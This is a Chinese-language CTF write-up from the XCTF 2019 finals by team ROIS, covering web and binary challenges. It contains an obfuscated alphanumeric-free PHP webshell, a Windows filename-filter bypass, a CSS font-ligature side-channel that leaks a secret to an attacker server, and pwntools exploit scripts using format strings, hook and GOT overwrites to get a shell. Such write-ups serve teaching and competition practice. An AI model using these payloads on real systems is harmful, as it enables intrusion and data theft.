XCTF final 2019 Writeup By ROIS

XCTF final 2019 Writeup By ROIS
2019-10-28 10:10:06 Author: xz.aliyun.com(查看原文) 阅读量:246 收藏

babylog

各种尝试后，发现可以利用缓存将 xff 头处的 self-xss 转为存储型 xss。
https://omergil.blogspot.com/2017/02/web-cache-deception-attack.html

lfi2019

SECOND BLOOD

这个题目充满了出题人的恶趣味。没用的代码和注释实在太多了，我第一次感受到原来注释多也挺惹人烦的。其主要就两个功能：

include文件。
写文件。

重点在于绕过它的各种限制，其对于文件有如下限制：

文件名不能出现['.', './', '~', '.\\', '#', '<', '>']中的任意一个字符
写文件的内容会被preg_replace("/[^<>!@#$%\^&*\_?+\.\-\\\'\"\=\[\]\;]/u", "*Nope*", (string)$code);处理。

在include文件前，其还有一个限制：

$read_file = "./files/" . $this->filename;
$read_file_with_hardened_filter = "./files/" . path_sanitizer($this->filename, true);
/*
path_sanitizer(true)会把所有的/和\替换为空：
foreach(["/", "\\"] as $f){
  $dir = str_replace($f, "", $dir);
}
*/

if($read_file === $read_file_with_hardened_filter ||
   @file_get_contents($read_file) === @file_get_contents($read_file_with_hardened_filter)){
  return ["msg" => "request blocked", "type" => "error"];
}

如果它是Linux服务器的话，很显然，直接上传一个文件名为bb\的文件就能绕过限制。但这题不行。经过对一些特殊字符（如下）的测试，发现这是一台Windows机器。

对于Windows的文件读取，有一个小Trick：使用FindFirstFile这个API的时候，其会把"解释为.。意即：shell"php === shell.php。

因此，回到这题来。我们上传一个文件，名字设为test。然后，通过"/test即可读取。此时：

$read_file = "./files/./test";
$read_file_with_hardened_filter = "./files/.test";
file_get_contents($read_file) = '实际文件内容';
file_get_contents($read_file_with_hardened_filter) = false //文件不存在

至此，即绕过了文件名的限制。
至于文件内容的限制，更为简单了。

参考 https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html ，编写payload如下：

<?=$_=[]?><?=$_=@"$_"?><?=$___=$_['!'!='@']?><?=$____=$_[('!'=='!')+('!'=='!')+('!'=='!')]?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_="_"?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_="_"?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_____=$__?><?=$__=''?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_="."?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_____($__)?>

其用 <?=?> 替代分号，最后运行的是file_get_contents('flag.php')，就能出结果了。

weiphp

FIRST BLOOD

挺无聊的一个 CMS 审计题目。我还是第一次见到能有一个CMS 的开发者允许用户自己定义allow_file_ext的。

并且存在一个免验证的文件上传接口:

然后就没有然后了。

babypress

注意到docker-compose.yml里把网卡设置为了外网地址。联想到 WordPress 的 xml-rpc 修复了各种内网SSRF，猜想就是通过 xml-rpc 打外网从而拿到 flag。于是直接用 xml-rpc 打就 ok。

noxss

FIRST BLOOD

非常明显，唯一的输出点只有skin，但此输出点过滤掉了 < > " '

很显然，我们只能用 CSS 搞事情了。那第一步是如何执行我们需要的任意 CSS。

根据 CSS 标准：https://www.w3.org/TR/css-syntax-3/#error-handling

CSS 会忽略所有的不正确的语法，就像这些东西从来没有存在过一样。因此，我们只需要换行，就可以让整个import 无效。
让我们再往下看一下，CSS 如何换行：https://www.w3.org/TR/css-syntax-3/#newline-diagram

其支持：%0a、%0d、%0f。%0a 会被Web服务器吃掉，因此使用 %0d 和 %0f 都可以逃逸出@import，从而实现执行任意 CSS 样式。

仔细读一下源码，就会发现，我们这题的目标是拿到这儿的 secret。

大家都知道，CSS 可以很容易地匹配到 attr，但是提取 content 就比较难了。CSS3 标准曾经有“:content”伪类，不过后来被删除，没进入正式标准，也没有浏览器支持它。因此，要得到这个值，只能使用一些Side-channel的非常规手段。CSS 的话，包括动画、字体等都是比较有效的侧信道攻击方案。不过，对于动画，我暂时想不到什么比较合适的方案；但是字体则可以利用“连字（Ligature）”进行侧信道。

我最早的思路是：

@font-face {
  font-family: ligature;
  src: url(xxxxx);
}
@font-face {
  font-family: normal;
  src: url(xxxxx);
}
script {
  display: block;
  font-family: "ligature", "normal";
}

构造一个连字字体，这个字体内只有“xctf”四个字符，如果浏览器只加载了这个字体，未加载normal字体，则证明页面内存在且仅存在“xctf”这四个字符。否则，则会加载normal字体。后发现该思路不对，因为script标签内字符实在太多，无法这么处理。

在这之后，我进行了一番搜索。查找到相关的一篇波兰语文章（别问我怎么搜到的.jpg）：https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/ 。

这篇文章的大致思路是：

构造一个字体，把所有字符的宽度都设置为0。
把「xctf」的宽度设置为10000。
当页面里出现「xctf」的时候，就会出现滚动条。
在滚动条的样式里，通过background: url()发送请求。
逐位爆破。

不过，原文的payload过于复杂，利用了包括缓存、二分爆破等一系列技术，实在是不好利用，我也没跑通。因此，我自己基于文章内提供的fontforge脚本重新写了一份payload。

首先是需要一个Nodejs Server（同原文），这个Server用于动态生成字体：

script.fontforge:

#!/usr/bin/fontforge
Open($1)
Generate($1:r + ".woff")

index.js

➜  cat index.js
const express = require('express');
const app = express();
// Serwer ExprssJS domyślnie dodaje nagłówek ETag,
// ale nam nie jest to potrzebne, więc wyłączamy.
app.disable('etag');

const PORT = 23460;
const js2xmlparser = require('js2xmlparser');
const fs = require('fs');
const tmp = require('tmp');
const rimraf = require('rimraf');
const child_process = require('child_process');


// Generujemy fonta dla zadanego przedrostka
// i znaków, dla których ma zostać utworzona ligatura.
function createFont(prefix, charsToLigature) {
    let font = {
        "defs": {
            "font": {
                "@": {
                    "id": "hack",
                    "horiz-adv-x": "0"
                },
                "font-face": {
                    "@": {
                        "font-family": "hack",
                        "units-per-em": "1000"
                    }
                },
                "glyph": []
            }
        }
    };

    // Domyślnie wszystkie możliwe znaki mają zerową szerokość...
    let glyphs = font.defs.font.glyph;
    for (let c = 0x20; c <= 0x7e; c += 1) {
        const glyph = {
            "@": {
                "unicode": String.fromCharCode(c),
                "horiz-adv-x": "0",
                "d": "M1 0z",
            }
        };
        glyphs.push(glyph);
    }

console.log(prefix + (charsToLigature).toString())
    // ... za wyjątkiem ligatur, które są BARDZO szerokie.
    charsToLigature.forEach(c => {
        const glyph = {
            "@": {
                "unicode": prefix + c,
                 "vert-adv-y": "10000",
                 "horiz-adv-x": "10000",
                 "d": "M0 10000,v 0 10000z",
            }
        }
        glyphs.push(glyph);
    });

    // Konwertujemy JSON-a na SVG.
    const xml = js2xmlparser.parse("svg", font);

    // A następnie wykorzystujemy fontforge
    // do zamiany SVG na WOFF.
    const tmpobj = tmp.dirSync();
    fs.writeFileSync(`${tmpobj.name}/font.svg`, xml);
    child_process.spawnSync("/usr/bin/fontforge", [
        `${__dirname}/script.fontforge`,
        `${tmpobj.name}/font.svg`
    ]);

    const woff = fs.readFileSync(`${tmpobj.name}/font.woff`);

    // Usuwamy katalog tymczasowy.
    rimraf.sync(tmpobj.name);

    // I zwracamy fonta w postaci WOFF.
    return woff;
}

// Endpoint do generowania fontów.
app.get("/font/:prefix/:charsToLigature", (req, res) => {
    const { prefix, charsToLigature } = req.params;

    // Dbamy o to by font znalazł się w cache'u.
    res.set({
        'Cache-Control': 'public, max-age=600',
        'Content-Type': 'application/font-woff',
        'Access-Control-Allow-Origin': '*',
    });

    res.send(createFont(prefix, Array.from(charsToLigature)));

});

app.listen(PORT, () => {
    console.log(`Listening on ${PORT}...`);
})

index.html:

<script>
//const chars = ['t','f']
const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_'.split('')
let ff = [], data = ''
let prefix = 'xctf{dobra_robota_jestes_mistrzem_CSS}'
chars.forEach(c => {
    var css = ''
    css = '?theme=../../../../\fa{}){}'
    css += `body{overflow-y:hidden;overflow-x:auto;white-space:nowrap;display:block}html{display:block}*{display:none}body::-webkit-scrollbar{display:block;background: blue url(http://xxxx:23459/?${encodeURIComponent(prefix+c)})}`
    css += `@font-face{font-family:a${c.charCodeAt()};src:url(http://xxxxx:23460/font/${prefix}/${c});}`
    css += `script{font-family:a${c.charCodeAt()};display:block}`
    document.write('<iframe scrolling=yes samesite src="http://noxss.cal1.cn:60080/account/userinfo?theme=' + encodeURIComponent(css) + '" style="width:1000000px" onload="event.target.style.width=\'100px\'"></iframe>')
})
</script>

原理：

将页面宽度设置为100000px，保证不会出现滚动条；
隐藏页面内所有元素，然后将script标签显示出来；
为script标签设置字体，如果匹配到了对应字符，则显示滚动条；
通过滚动条接收当前字符。

把这个页面的URL直接交给bot，即可接收到一位的flag。之后逐位爆破即可。效果如图：

fault

感谢r3kapig的大佬们带来的精彩比赛

看了流量才找到洞。。

加密函数：

add_round_key((__int64)v15, v9, 0);
  for ( k = 1; k < round; ++k )
  {
    if ( k == 8 )
      v15[v7] ^= v8;    //!!!
    subBytes((__int64)v15);
    shiftRows((__int64)v15);
    mixColums((__int64)v15);
    add_round_key((__int64)v15, v9, k);
  }
  subBytes((__int64)v15);
  shiftRows((__int64)v15);
  add_round_key((__int64)v15, v9, round);

可以看到这里有个v15[v7] ^= v8,v7和v8是传进来的参数，然而在解密函数里可以覆盖到这两个的值，于是可以利用这个把

────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────
 RAX  0x20
 RBX  0x7fff5b1ae920 ◂— 0x8362000000020 /* ' ' */
 RCX  0xc0
 RDX  0x7fff5b1ae910 ◂— 0xaa63df0da959514d
 RDI  0x7fff5b1ae910 ◂— 0xaa63df0da959514d
 RSI  0x20
 R8   0x20
 R9   0x10
 R10  0x0
 R11  0x10
 R12  0x0
 R13  0x7fff5b1aeac0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fff5b1ae970 —▸ 0x7fff5b1ae9c0 —▸ 0x7fff5b1ae9e0 —▸ 0x56105a45f340 ◂— push   r15
 RSP  0x7fff5b1ae910 ◂— 0xaa63df0da959514d
 RIP  0x56105a45f004 ◂— mov    byte ptr [rdx + rax], cl
─────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
 ► 0x56105a45f004    mov    byte ptr [rdx + rax], cl
   0x56105a45f007    mov    rax, qword ptr [rbp - 0x20]
   0x56105a45f00b    mov    rdi, rax
   0x56105a45f00e    call   0x56105a45e886

   0x56105a45f013    mov    rax, qword ptr [rbp - 0x20]
   0x56105a45f017    mov    rdi, rax
   0x56105a45f01a    call   0x56105a45e6b5

   0x56105a45f01f    mov    rax, qword ptr [rbp - 0x20]
   0x56105a45f023    mov    rdi, rax
   0x56105a45f026    call   0x56105a45e4b9

   0x56105a45f02b    movzx  edx, byte ptr [rbp - 0x29]
──────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000│ rdx rdi rsp  0x7fff5b1ae910 ◂— 0xaa63df0da959514d
01:0008│              0x7fff5b1ae918 ◂— 0x62bfb8152eb4f9cb
02:0010│ rbx          0x7fff5b1ae920 ◂— 0x8362000000020 /* ' ' */
03:0018│              0x7fff5b1ae928 —▸ 0x56105acb10b0 ◂— 0xb9a433d31f71aaa1
04:0020│              0x7fff5b1ae930 —▸ 0x56105a6613e0 ◂— 0xfcca81e5fb28c9b3   !!!!
05:0028│              0x7fff5b1ae938 —▸ 0x56105a6613d0 ◂— 0x34b1fca7a4f6bb23
06:0030│              0x7fff5b1ae940 ◂— 0x80404ff5b1ae970

我标感叹号的那个地址指向key，后续的操作会把key值修改，最后还会把加密后的内容输出，输出的内容和key是一样的，这样就拿到了key了，但是要加密一样的字符串两次才可以，对密码学这个不是很熟悉，误打误撞吧，我太菜了

from pwn import *

context.arch='amd64'
def cmd(command):
    p.recvuntil(">",timeout=0.5)
    p.sendline(command)

def main(host,port=9999):
    global p
    if host:
        p = remote(host,port)
    else:
        p = process("./origin_fault")
        gdb.attach(p)
        # debug(0x0000000000003004)
    cmd('e')
    p.sendline("00"*0x10)
    cmd('e')
    p.sendline("cafebabedeadbeefcafebabedeadbeef".decode('hex'))
    cmd('d')
    payload1 = "5658a9ced4f5415d3e85e2e879d464405658a9ced4f5415d3e85e2e879d46440"
    payload2 = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"
    p.sendline(payload1)
    p.sendline(payload2)

    cmd('e')
    p.sendline("cafebabedeadbeefcafebabedeadbeef".decode('hex'))
    p.recvuntil("e:encryp",drop=True)
    p.recvuntil(">")
    key = p.recvuntil("e:encryp",drop=True)
    info(key)
    cmd('s')
    p.sendline(key)
    flag = p.recv(0x3c,timeout=0.5)
    info(flag)
    p.interactive()

if __name__ == "__main__":
    main(args['REMOTE'])

hannota

第二天说没有流量了。。。。。其实内心是有点慌的

只找到了两个漏洞

一个是login函数的堆溢出

v14 = __readfsqword(0x28u);
  src = 0LL;
  printf("please enter user token length : ");
  size = get_int();
  if ( size <= 0xFF )
  {
    printf("please enter user token: ");
    token = malloc(size);
    read_n(token, 0x100uLL);
    strcpy(dest, ROOM_PATH);
    n = strlen(dest);

另一个是play from console的show有个格式化字符串

unsigned __int64 sub_243B()
{
  char buf; // [rsp+10h] [rbp-110h]
  unsigned __int64 v2; // [rsp+118h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("We will receive input from the terminal");
  printf("E.g :");
  read(0, &buf, 0x100uLL);
  printf(&buf, &buf);
  return __readfsqword(0x28u) ^ v2;
}

我用的是这里的格式化字符串，一开始修的时候把printf改成了puts，check没过，改成了printf("%s",buf);,还是没过，赛后问了阿鹏师傅，应该改为write(1,buf,strlen(buf));这样的，orz

格式化字符串的exp为

from pwn import *

context.arch='amd64'

def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))

def cmd(command):
    p.recvuntil(">>> ",timeout=0.5)
    p.sendline(str(command))

def fmtstr(offset, addr, data, written):
    cnt = 0
    payload = ''
    address = ''
    for x in data:
        cur = ord(x)
        if cur >= written&0xff:
            to_add = cur - (written&0xff)
        else:
            to_add = 0x100 + cur - (written&0xff)
        round = ''
        if to_add != 0:
            round += "%{}c".format(to_add)
        round += "%{}$hhn".format(offset+cnt+len(data)*2)
        assert(len(round) <= 0x10)
        written += to_add + 0x10 - len(round)
        payload += round.ljust(0x10, '_')
        address += p64(addr+cnt)
        cnt+=1
    return payload + address

def ca(tl,t,nl,n,pl,pa):
    cmd(1)
    p.recvuntil("please enter user token length : ")
    p.sendline(str(tl))
    p.recvuntil("please enter user token: ")
    p.sendline(t)
    p.recvuntil("please enter user name length : ")
    p.sendline(str(nl))
    p.recvuntil("please enter user name: ")
    p.sendline(n)
    p.recvuntil("please enter user password length : ")
    p.sendline(str(pl))
    p.recvuntil("please enter user password: ")
    p.sendline(pa)
def login(tl,t,pl,pa):
    cmd(0)
    p.recvuntil("please enter user token length : ")
    p.sendline(str(tl))
    p.recvuntil("please enter user token: ")
    p.sendline(t)
    p.recvuntil("please enter user password length : ")
    p.sendline(str(pl))
    p.recvuntil("please enter user password : ")
    p.sendline(pa)

def add_pl(type):
    cmd(0)
    cmd(type)
def show(idx):
    cmd(2)
    p.recvuntil("index : ")
    p.sendline(str(idx))

def main(host,port=9999):
    global p
    if host:
        p = remote(host,port)
    else:
        p = process("./hannota")
        # p = process("./pwn",env={"LD_PRELOAD":"./x64_libc.so.6"})
        # gdb.attach(p)
        debug(0x00000000000024A1)
    ca(0x20,"AA",0x20,"AA",0x20,"AA")
    ca(0x20,"AA",0x20,"AA",0x20,"AA")
    login(0x20,"AA",0x20,"AA")

    add_pl(0)
    show(0)
    p.recvuntil("E.g :")
    p.sendline("%p%p-%p-%p-%p-%p-%p%p%p%p%p*%p*")

    p.recvuntil('-')
    libc.address = int(p.recvuntil("-",drop=True),16)-0x110081
    info("libc : " + hex(libc.address))
    p.recvuntil('*')
    stack = int(p.recvuntil("*",drop=True),16)
    info("stack : " + hex(stack))
    ret_addr = stack+0x8
    payload = fmtstr(8,ret_addr,p64(libc.address+0x4f2c5)[:6],0)
    show(0)
    p.recvuntil("E.g :")
    p.send(payload)

    sleep(0.1)
    p.sendline("cat flag")
    p.recv(timeout=0.5)
    flag = p.recvuntil("\n",timeout=0.5)
    info(flag)
    p.interactive()

if __name__ == "__main__":
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
    main(args['REMOTE'])

pointer_guard

逐渐变难的一题

一开始5次地址写，1次libc里的任意函数call，参数还是可控的，那自然就system("/bin/sh")和execve("/bin/sh",0,0)了

from pwn import *

context.arch='amd64'
def cmd(command):
    p.recvuntil(">",timeout=0.5)
    p.sendline(command)

def main(host,port=9999):
    global p
    if host:
        p = remote(host,port)
    else:
        p = process("./pwn")
        # p = process("./pwn",env={"LD_PRELOAD":"./x64_libc.so.6"})
        gdb.attach(p)
        # debug(0x0000000000000A69)

    p.recvuntil("binary_base=")
    elf.address = int(p.recvuntil("\n",drop=True),16)
    info("elf : " + hex(elf.address))

    p.recvuntil("libc_base=")
    libc.address = int(p.recvuntil("\n",drop=True),16)
    info("libc : " + hex(libc.address))

    p.recvuntil("stack_base=")
    stack = int(p.recvuntil("\n",drop=True),16)
    info("stack : " + hex(stack))

    for i in range(4):
        p.recvuntil("Addr:")
        p.sendline(str(stack))
        p.recvuntil("Value:")
        p.sendline(str(1))
    p.recvuntil("Addr:")
    p.sendline(str(elf.address+0x203210))
    p.recvuntil("Value:")
    p.sendline(str(u64('/bin/sh\x00')))
    p.recvuntil("Trigger!")
    # system
    # p.sendline("system")
    # p.sendline("1")
    # p.sendline(str(stack+0x54))
    # execve
    p.sendline("execve")
    p.sendline("3")
    p.sendline(str(stack+0x54))
    p.sendline("0")
    p.sendline("0")
    p.sendline("cat flag")
    p.recv(timeout=0.5)
    flag = p.recvuntil("\n",timeout=0.5)
    info(flag)
    p.interactive()

if __name__ == "__main__":
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
    elf = ELF("./pwn",checksec=False)
    main(args['REMOTE'])

然后变成了一次任意地址写，一次libc任意函数call，但是参数不可控，那就写那些hook吧，__free_hook,__malloc_hook,__memalign_hook,__realloc_hook都试一试

这里贴个__free_hook的，其它的类似

p.recvuntil("Addr:")
    p.sendline(str(libc.symbols["__free_hook"]))
    p.recvuntil("Value:")
    p.sendline(str(libc.address+0x10a38c))
    p.recvuntil("Trigger!")
    p.sendline("free")
    p.sendline("0\x00"+"\x00"*90)
    p.sendline("cat flag")
    p.recv(timeout=0.5)
    flag = p.recvuntil("\n",timeout=0.5)
    info(flag)

然后是两次地址写

for ( i = 0; (unsigned __int64)i < 2; ++i )
  {
    puts("Addr:");
    v3 = (_QWORD *)sub_DB1();
    puts("Value:");
    v4 = sub_DB1();
    sub_1498(v3, v4);
  }
  if ( !dlopen("libc.so.6", 1) )
  {
    v5 = dlerror();
    fprintf(stderr, "%s\n", v5);
    exit(1);
  }

因为dlopen会调用malloc函数，所以就修改__malloc_hook和__realloc_hook来getshell

p.recvuntil("Addr:")
    p.sendline(str(libc.symbols["__realloc_hook"]))
    p.recvuntil("Value:")
    p.sendline(str(libc.address+0x10a38c))
    p.recvuntil("Addr:")
    p.sendline(str(libc.symbols["__malloc_hook"]))
    p.recvuntil("Value:")
    p.sendline(str(libc.symbols["realloc"]+8))

最后只有一次地址写了

for ( i = 0; (unsigned __int64)i < 1; ++i )
  {
    puts("Addr:");
    v3 = (_QWORD *)sub_DB1();
    puts("Value:");
    v4 = sub_DB1();
    sub_1498(v3, v4);
  }
  if ( !dlopen("libc.so.6", 1) )
  {
    v5 = dlerror();
    fprintf(stderr, "%s\n", v5);
    exit(1);
  }

我在_dlerror_run里找到了call _dl_catch_error@plt

0x7ff6fbcf6726 <_dlerror_run+86>     lea    rdi, [rbx + 0x10]
   0x7ff6fbcf672a <_dlerror_run+90>     mov    r8, r12
   0x7ff6fbcf672d <_dlerror_run+93>     mov    rcx, rbp
 ► 0x7ff6fbcf6730 <_dlerror_run+96>     call   _dl_catch_error@plt <0x7ff6fbcf5d90>
        rdi: 0x7ff6fbef80f0 (last_result+16) ◂— 0x0
        rsi: 0x7ff6fbef80f8 (last_result+24) ◂— 0x0
        rdx: 0x7ff6fbef80e8 (last_result+8) ◂— 0x0
        rcx: 0x7ff6fbcf5f40 (dlopen_doit) ◂— push   rbx

既然是plt的话，那就可以修改GOT表来劫持流程了

► 0x7ff6fbcf5d90 <_dl_catch_error@plt>       jmp    qword ptr [rip + 0x2022a2] <0x7ff6fbef8038>

   0x7ff6fbcf5d96 <_dl_catch_error@plt+6>     push   4
   0x7ff6fbcf5d9b <_dl_catch_error@plt+11>    jmp    0x7ff6fbcf5d40
    ↓
   0x7ff6fbcf5d40                             push   qword ptr [rip + 0x2022c2] <0x7ff6fbef8008>
   0x7ff6fbcf5d46                             jmp    qword ptr [rip + 0x2022c4] <0x7ff6fba0e38c>

pwndbg> telescope 0x5f4010+0x7f3cf530b000
00:0000│   0x7f3cf58ff010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7f3cf5917750 (_dl_runtime_resolve_xsavec)

可以看到有两处地方都用到了GOT表，所以都试一试改为one_gadget，结果本地都不行，但是打远程的时候通了，打通的是把_dl_runtime_resolve_xsavec的GOT改为one_gadget，这运气没谁了，晚上回去的时候又去试了下本地，居然又可以了。。。

p.recvuntil("Addr:")
    p.sendline(str(libc.address+0x5f4010))
    p.recvuntil("Value:")
    p.sendline(str(libc.address+0x10a38c))

tnj

这题的话还是看丁佬的github吧，膜丁佬。

文章来源: http://xz.aliyun.com/t/6655
如有侵权请联系:admin#unsafe.sh